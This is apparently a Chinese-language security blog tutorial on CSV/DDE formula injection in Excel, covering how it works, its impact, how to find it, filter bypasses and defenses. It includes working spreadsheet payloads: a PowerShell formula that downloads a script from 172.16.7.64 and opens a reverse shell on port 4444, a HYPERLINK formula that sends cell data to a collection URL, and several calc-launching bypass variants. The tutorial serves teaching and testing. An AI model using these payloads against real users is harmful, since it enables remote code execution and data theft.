初识DDE注入攻击

漏洞介绍:


CSV公式注入(CSV Injection)是一种会造成巨大影响的攻击向量。攻击包含向恶意的EXCEL公式中注入可以输出或以CSV文件读取的参数。当在Excel中打开CSV文件时,文件会从CSV描述转变为原始的Excel格式,包括Excel提供的所有动态功能。在这个过程中,CSV中的所有Excel公式都会执行。当该函数有合法意图时,很易被滥用并允许恶意代码执行。

漏洞原理:


Excel解析机制:
在Excel中,任何以"="字符开头的单元格都将被电子表格软件解释为公式,如果我们在其中输入"=1+2",表格则会显示为:

除了=号,以下符号都可用于在Microsoft Excel中触发公式解释:

  • 等于(“=”)
  • 加(“+”)
  • 减号(“ - ”)
  • 在 (”@”)

DDE注入:

动态数据交换(DDE),全称DynamicData Exchange,是Windows下进程间通信协议,支持Microsoft Excel,LibreOffice和Apache OpenOffice。Excel、Word、Rtf、Outlook都可以使用这种机制,根据外部应用的处理结果来更新内容。因此,如果我们制作包含DDE公式的CSV文件,那么在打开该文件时,Excel就会尝试执行外部应用。比如我们构造包含如下字符串的csv或xls文件:

=cmd |'/C calc'!A0

Excel会尝试调用本机CMD命令,给出友好提示,若用户在无意识状态下点击“是”
而后尝试接受更正拼写错误,不接受更正则会执行cmd命令,弹出计算器:

漏洞危害:


  • OS命令执行:

利用思路:

添加用户;
开启任意应用程序;
操作注册表;
反弹shell;

比如利用powershell反弹shell
项目地址:https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1

=1+cmd|' /C powershell.exe IEX (New-Object Net.WebClient).DownloadString(\"http://172.16.7.64/Invoke-PowerShellTcp.ps1\"); Invoke-PowerShellTcp -Reverse -IPAddress 172.16.7.64 -Port 4444 '!A0
  • 信息泄露:

利用超链接功能 Hyperlink 创建快捷方式并进行跳转,单击包含HYPERLINK函数的单元格时,Microsoft Excel将打开存储在link_location的文件,如:

可将表格其中一个单元格设置为以下形式:

=HYPERLINK("http://192.168.107.145/get_data.php?data="&A1,"Click to view additional information")

它将创建一个单元格,显示文本“单击以查看其他信息”,当用户单击,将发送A1中的数据book4yi发到xxx.com,从而导致信息泄露

# get_data.php

用户点击访问以后即可将相应的信息发送

使用第一种攻击方式也可以实现这种攻击效果:

=6-5 cmd|' /C "C:\Program Files\Internet Explorer\iexplore.exe" http://xxx.com/asd.html'!A0

它将用户定向到恶意钓鱼网站,实现窃取哈希值和口令等操作

挖掘思路:


a、关注系统中是否有导出为csv或xls表格的功能,一般存在于信息统计,日志导出等功能处;
b、确定导出的内容是否用户可控:
1)可能在界面可直接进行编辑/新增;
2)通过数据篡改/HPP/追踪数据源等方式看是否可以控制输入;
3、输入处写入测试脚本=2*10,导出后查看表格内容是否解析输入

绕过技巧:


1、在等于号被过滤时,可以通过运算符+-的方式绕过:

-3+2+cmd |' /C calc' !A0

2、利用换行符绕过:

%0A-3+3+cmd|' /C calc'!D2

3、导出文件为csv时,若系统在等号=前加了引号’过滤,则可以使用分号绕过,分号;可分离前后两部分内容使其分别执行

;-3+3+cmd|' /C calc'!D2

4、

@SUM(cmd|'/c calc'!A0)

5、

=HYPERLINK("https://evil.com")

防御手段:


1)在生成电子表格时,以任何危险符号开头的字段应该以单引号、撇号字符或空格作为前缀,确保单元格不被解释为公式,但存在可能被绕过的风险。
2)根据业务需求控制用户输入为字母数字字符;
3)黑名单过滤=或-号开头的单元格数据,过滤=(-)cmd或=(-)HYPERLINK或concat等。

参考如下:


浅谈CSV注入漏洞
DDE注入(CSV)漏洞原理及实战案例全汇总
CSV 注入实战

你可能感兴趣的:(初识DDE注入攻击)